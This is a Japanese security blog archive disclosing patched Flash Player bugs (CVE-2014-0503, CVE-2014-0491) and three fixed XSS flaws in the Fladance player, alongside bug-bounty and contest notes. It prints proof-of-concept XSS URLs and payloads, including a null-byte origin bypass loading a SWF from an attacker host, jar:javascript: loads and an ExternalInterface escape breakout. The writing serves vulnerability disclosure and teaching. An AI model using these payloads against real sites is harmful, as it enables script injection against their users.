いろいろ試してみたものの、結局 split().join() と ExternalInterface.call() の組み合わせしかXSSに繋がるケースは思いつきませんでした。マイナーすぎて、修正してくれるか微妙だなーと思いながらそのケースだけAdobeに報告しましたが、割と短い期間で修正してくれました。ナイスです。
修正後は上位サロゲートにあたるバイト値が後続の文字を一切潰さなくなりました。


実はこのバグ、GitHubがバグ報酬制度を始めたときにみつけたものです。
GitHubで使われていた、ZeroClipboardというSWFが、まさにパラメータ文字列をsplit("\\").join("\\\\")で置換してExternalInterface.call()の第2引数に渡す処理をしていました。

このバグの報酬として、GitHubの報酬制度を通じて$1,800を頂きました。
GitHub Bug Bounty · Masato Kinugawa

GitHubはContent Security Policyを導入していますが、FlashがCSPに対応していないので、CSPもすり抜けるとして、ちょっと普通のXSSより評価ポイントが高くなっています。ちなみに、ZeroClipboardの古いバージョンには今回のバグとは関係ないExternalInterface.call()絡みのXSSがある( http://seclists.org/fulldisclosure/2013/Feb/103 )ので、使っている人は1度バージョンを確認した方がいいかもしれません。

加えて、HackerOneのFlashの報酬制度を通して、$2,000を頂きました。
 #7803 Security bypass could lead to information disclosure - HackerOne

Flashの報酬制度で報酬を頂くのは、これで3度目になります。毎度ありがたいです。


今回、split().join()とExternalInterface.call()が組み合わさった時に問題が起きることに気が付いたのは、ZeroClipboardのSWFに問題が起きそうな文字を適当に入れていたらたまたま、というかんじでした。つくづく、何も考えずにひとまず適当に試してみるのもバグの発見には重要な行為だと感じます。

2014/04/30

CVE-2014-0503: 0x00文字を使ったFlashのセキュリティ制限のバイパス

Flash Playerに存在した、 セキュリティ制限をバイパスすることができた問題について書きます。この問題は2013年11月10日にAdobeに報告し、2014年3月のアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-08.html
These updates resolve a vulnerability that could be used to bypass the same origin policy (CVE-2014-0503).
早速どのような問題だったか書いていきます。
(なお、本問題はFirefoxにインストールしたFlash Playerでしか再現しませんでした。)


loader.load() という関数があります。この関数は、画像やSWFなどをSWF上にロードするために用いられます。
第1引数で、ロードする画像やSWFのURL、 第2引数で、どういったコンテキストで動作させるかを設定することができます。第2引数の設定次第では、第1引数に指定した別ドメインのSWFを読み込んで、そのSWFに記述されているJavaScriptの呼び出しを読み込み側のコンテキストで動作させることもできます。第2引数を省略した場合は、JavaScriptを実行できるのは同一ドメインのSWFの場合のみです。

これを踏まえて、以下のようなコードがあった場合を考えます。
var url:URLRequest = new URLRequest(loaderInfo.parameters["url"]);
var loader:Loader = new Loader();
loader.load(url);
addChild(loader);
loader.load()にパラメータの値がそのまま渡されているようなコードです。
セキュリティを考えたことがある人なら、未検証で値を渡していることに直感的に不安をかんじると思いますが、この関数においては、通常は、SWFがあるドメイン上で画像ファイルなどを勝手にロードできるだけで、大きな問題にはならないはずです。(もちろん、 javascript: な URLを指定してもFlash側でそのような動作は禁止されており、JavaScriptは実行されません。)
しかしながら、以下のようなURLを与えると、通常の制限を超えて、別ドメインのSWFからJavaScriptを動作させること(すなわち、XSSすること)ができていました。

http://victim.example.com/viewer.swf?url=http://victim.example.com%2500@attacker.example.org/xss.swf

(※ 被害者のサイトを victim.example.com、攻撃者のサイトを attacker.example.org  とします)

このURLで loaderInfo.parameters["url"]が実際に受け取る値は、http://victim.example.com%00@attacker.example.org/xss.swf です。ですから、ロードしようとしているのは、攻撃者のサイトに設置されたSWFファイルということになります。

前述のとおり、通常、第2引数を指定しない場合は、同一ドメインのSWFファイルをロードしたときしかJavaScriptの実行は起こらないはずでした。ところが、攻撃者のサイトのURLの認証情報を記述する部分に 「被害者のサイトのホスト」 + 「%00」 を指定することで、ロードしようとしているURLを被害者のサイトのドメインのコンテンツと誤って判断してしまうのか、xss.swfのJavaScriptの呼び出しをvictim.example.comで実行してしまいます。

要するに、この動作によって起きることは、loader.load()の第1引数に任意の値を渡せるSWFファイルがターゲットのサイトにあれば、XSSが可能になってしまうということです。この関数でも、CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS で問題になった関数と同じように、画像などが勝手に自ドメインでロードされてもさほど問題にはならないので、パラメータから受け取った値をそのままロードするURLとして使っていることがよくあります。この問題のせいでXSSに脆弱になるサイトはたくさんあったのではないでしょうか。

以上のような問題でした。
また、同じように0x00文字を用いる方法で、allowScriptAccess=sameDomain 制限をバイパスできたり、BitmapData.draw()を使って別ドメインの画像ファイルの情報を読み取れたり、Flashの関数中で相対パス指定されているとき、細工したドメインを相対パスの元として読ますことができたりと、様々なおかしなことを起こせていました。

本問題も、HackerOneのThe Internet Bug Bountyを通じて $2,000 の賞金を頂きました。MicrosoftとFacebookがスポンサーになっているらしいので、両社に感謝です。ありがとうございます。

#6380 Same Origin Security Bypass Vulnerability - HackerOne

次回の記事でも修正されたFlashの脆弱性を紹介するつもりです。

2014/03/26

SECCON全国大会カンファレンスの発表資料を公開しました

2014年3月1-2日に行われたSECCON 2013 全国大会のカンファレンスで、cybozu.com Security Challengeで発見した脆弱性について発表させて頂きました。

cybozu.com Security Challengeは、サイボウズが2013年11月に実施した、同社が提供するアプリケーション「kintone」の実際の脆弱性を発見する賞金付きコンテストです。
ご存知の方はご存知の通り、このコンテストで優勝しました。

頂いた表彰状です。



優勝賞金は、1,038,960円を頂きました。 



一部で話題になりましたが、このパネルにおかしいところが4件あるそうなので、まだ間違い探しをトライしていない方は探してみてください。

資料は以下に公開しました。




どうぞご覧ください。全体的に内容は易しめです。 

拙い発表を聴いて下さった皆さま、ありがとうございました。

コンテスト参加者の皆さま、お疲れ様でした。修正された問題はぜひ共有してください。

伊藤さんをはじめ、サイボウズの皆さま、初めての試みにもかかわらずスムーズな対応で、楽しみながら安心して脆弱性を検証することができました。このような素晴らしいコンテストを実施してくださりありがとうございました。

海外では、セキュリティ問題の報告に対し報酬を支払う取り組みが大分活発になってきていますが、日本ではまだあまり行われていません。サイボウズの取り組みをきっかけに、日本でも盛り上がってくることを期待しています。

2014/03/02

CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS

これは、2013年11月8日に報告し、 2014年1月のアップデートで修正された、AS2の普通JavaScriptが実行できるべきでない複数の関数で、JavaScriptを実行できた問題です。

https://helpx.adobe.com/security/products/flash-player/apsb14-02.html

These updates resolve a vulnerability that could be used to bypass Flash Player security protections (CVE-2014-0491).

FlashのnavigateToURLに指定するURLで、jar:というプロトコルをURLの先頭につけると、セキュリティ制限を突破できてしまうことが、 Soroush Dalili氏によって公開されていました。( https://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/ )

氏の発見をきっかけに、この挙動について自分でも深く追っていったところ、手法が公開されていないもので、jar:を使ったかなり致命的な問題があることに気が付きました。

確認しただけで、少なくとも、次の関数はすべて、"jar:javascript:alert(1)" をロードするURLとして指定すると、JavaScriptを実行できていました。(※ただし、Firefox上のFlash Playerに限ります)

MovieClipLoader.loadClip
loadMovie
loadMovieNum
loadVariables
loadSound

こういうことです:

_root.loadMovie("jar:javascript:alert(1)")
//JavaScriptが実行される

これはかなり危険な動作です。これらの関数は音声や動画再生などに使われますが、普通は任意のURLをロードできても、動画や音声を再生できるだけなので、世間で使われているFlashファイルでは、特に読み込み可能なURLを制限していないことが多いからです。 ロードするURLをパラメータからもらって、これらの関数を使ってしまったらXSS脆弱性が生まれてしまうことになります。

ExternalInterface.callのバグをずっと放置していたりするので、Adobeはもしかするとこの問題をスルーするかもしれないと思っていましたが、11~1月という、割と短い期間で修正してくれました。しかも、loadMovieなどの関数のXSSバグだけではなく、jar:を使ったすべてのハックが封印されたようです。素晴らしい。

このバグを報告してしばらくしたあと、Flashの報酬制度が発表されました…。
タイミング悪いなーと思っていたら、 後日わざわざ連絡がきて、HackerOneのThe Internet Bug Bountyを通じて、$2,000の報酬を頂きました。ここのレポートだと "Handling of jar: URIs bypasses AllowScriptAccess=never" というタイトルで掲載されていますが、( https://hackerone.com/reports/2107 ) 同時期にjar:を使ってAllowScriptAccess制限をバイパスできたバグも報告していたので、これがjar:のバグの代表としてタイトルになったのだと思います。 Soroush Dalili氏もAllowScriptAccess制限をバイパスできた問題を発見していたようで、詳細は氏のブログに書かれていますので、参考にしてください。(
https://soroush.secproject.com/blog/2014/01/catch-up-on-flash-xss-exploitation-part-3-xss-by-embedding-a-flash-file/ )


最近集中的にFlashを追っていましたが、Flashはバグが多いです。
今回のように、おかしな場所でXSSが生まれてしまったりすることもありうるので、サービス運営者は、危険になる可能性を少しでも減らすために、必要ないFlashファイルを1度整理されるといいと思います。

2013/04/26

Flash動画プレイヤー「ふらだんす」に存在したXSSから学ぶ、FlashのXSS3パターン

ストリーミング・ジャパンが以下のURLで提供しているFlash動画プレイヤーの「ふらだんす」に存在し修正された、僕が報告した3件のXSSについて書きます。

http://www.streaming.jp/fladance/

更新しましょう
 
2013年4月12日に提供されたバージョン 2.1.5以降 を使っていなければXSSの穴をサイトに作っていることになります。一応「ふらだんす」の上で右クリックすると使っているバージョンがわかるので脆弱かどうか確認できますが、こういったFlashの動画プレイヤーの更新情報をちゃんとチェックしている人はほとんどいないと思うので、最近導入した人でなければまず脆弱なものを使っていると思います。心当たりがある人は「2.1.5」に更新しましょう。あるいは使っているサイトをみかけたら教えてあげましょう。
これ以降は技術的な話です。

技術的な話
 
あらかじめことわっておくと、僕はFlashに関してまったく詳しい訳ではないんですが、Flashのセキュリティについてまとめられた日本語の記事がウェブ上に少ない(例えばExternalInterface.call()を使うのにセキュリティ上注意が必要なことについて書かれた記事がほぼみつからない)かんじがするし、「ふらだんす」に存在した3件のXSSは生じ方がそれぞれ違い、サンプルとしてちょうどよいので、この機会に自分のわかる限りの範囲でどのようにXSSが生じたか書いておきたいと思います。

脆弱な「ふらだんす」のソースコードは以下で見ることができます。
http://www.showmycode.com/?b1fb4e4666bc1067ef9f9d40d2950245

1. navigateToURL() によるXSS

「ふらだんす」2.1.3未満は以下のようなリクエストにより、動画の再生後に表示される「LINK」ボタンをクリックするとJavaScriptが動作してしまいます。(※検証したところ、Firefoxでしか動作しませんでした。どうもnavigateToURL()のターゲットが_blankに指定されている場合、Firefox以外のブラウザではjavascript: URLに対してナビゲーションを起こさないようになっているようです。)

http://vulnerabledoma.in/fladance_v2-1-1.swf?video_file=http://vulnerabledoma.in/security/sample.mp4&link_url=javascript:alert%28window.opener.location.href%29

navigateToURL()で、link_urlというパラメータに設定されたURLにリダイレクトするようになっており、この時渡される文字列が一切検証されていなかったため、XSSが起こせていました。
navigateToURL()に渡すURLを検証しないと、XSSに繋がる場合があることは公式のドキュメントにも書かれています。

http://help.adobe.com/ja_JP/FlashPlatform/reference/actionscript/3/flash/net/package.html#navigateToURL()

修正後は「http(s)://」から始まるURLのみリンクを許可するようになったようです。

2. htmlTextプロパティによるXSS

「ふらだんす」2.1.5未満は以下のようなリクエストで、swf上に表示されている「CLICK」という文字列をクリックするとJavaScriptが動作してしまいます。
http://vulnerabledoma.in/fladance_v2-1-1.swf?controllbar=%3Cfont%20size=%2250px%22%3E%3Cbr%3E%3Ca%20href=%22javascript:alert%28location%29%22%3ECLICK


パラメータで使用する文字列が誤っている場合に表示されるエラーメッセージ中で、htmlTextプロパティというHTML形式で文字列を表示するプロパティを使用してパラメータ中の文字列をそのまま書きだしていたため、XSSが起きていました。htmlTextプロパティでは、全てのHTMLタグを使える訳ではありません( サポートされているタグは http://help.adobe.com/ja_JP/FlashPlatform/reference/actionscript/3/fl/text/TLFTextField.html#htmlText を参照 )が、少なくともaタグの記述をサポートしており、javascript: やvbscript: などのリンクを作成することができるため、任意の値が書けるとXSSを引き起こせてしまいます。

修正後はエラーメッセージ中にパラメータの値を表示しなくなったようです。

3. ExternalInterface.call() によるXSS

「ふらだんす」2.1.5未満は以下のようなURLでXSSが起きます。
http://vulnerabledoma.in/fladance_v2-1-1.swf?debug_mode=\%22%29%29}catch%28e%29{};alert%281%29//

debug_modeというパラメータがあった場合にExternalInterface.call()という、FlashからJavaScriptを呼び出す関数を使用していました。ExternalInterface.call()は第1引数に実行するJavaScriptの関数、第2引数にその関数の引数を設定して使用します。
「ふらだんす」では第1引数にconsole.log()、第2引数にURLのクエリ文字列を設定してJavaScriptを実行していました。これだけ聞くとconsole.log()を使ってコンソールにクエリ文字列の値を書きだせるだけで特に問題がなさそうに聞こえるんですが、ExternalInterface.call()には知る人ぞ知るXSSを作りやすい問題があり、今回まさにその問題の影響を受けていました。

ExternalInterface.call()でFlashがどのようにJavaScriptを実行しようとしているかは、このXSSを作りやすい問題によって実行エラーを引き起こしたFirefoxのエラーコンソールから垣間見ることができます。

http://vulnerabledoma.in/fladance_v2-1-1.swf?debug_mode=\%22



FlashがJavaScriptの実行時に内部で生成していると思われるJavaScript中で、「"」は「\"」と処理されて渡されているのに対し、「\」は「\」としてそのまま渡されています。これにより「\"」を引数として渡すことで「\\"」という文字列がこの処理に渡り、「"」のエスケープシーケンスが無効化されて途中で文字列リテラルを区切ることになり、画像のようなエラーとなるという訳です。XSSを起こすときには、最初に示したURLのようにtry-catch文をエラーがでないように適当にあわせて、後ろに任意のスクリプトを書いてしまえばいいだけです。このExternalInterface.call()の実装はあまりにひどいですが、この問題の報告者によるとAdobeは「後方互換性のために変更しない」と返事したと言っており( 報告者のブログ http://lcamtuf.blogspot.jp/2011/03/other-reason-to-beware-of.html または 報告者が原著の「めんどうくさいWebセキュリティ」p178を参照 )、Flashファイルの作成者側で「\」を処理するなどして気をつけるしかなさそうです。

修正後はコード中でExternalInterface.call()を使わなくなったようです。


はい!以上です。
忘れがちだけどFlashもXSSとは無縁ではないので注意が必要ですね。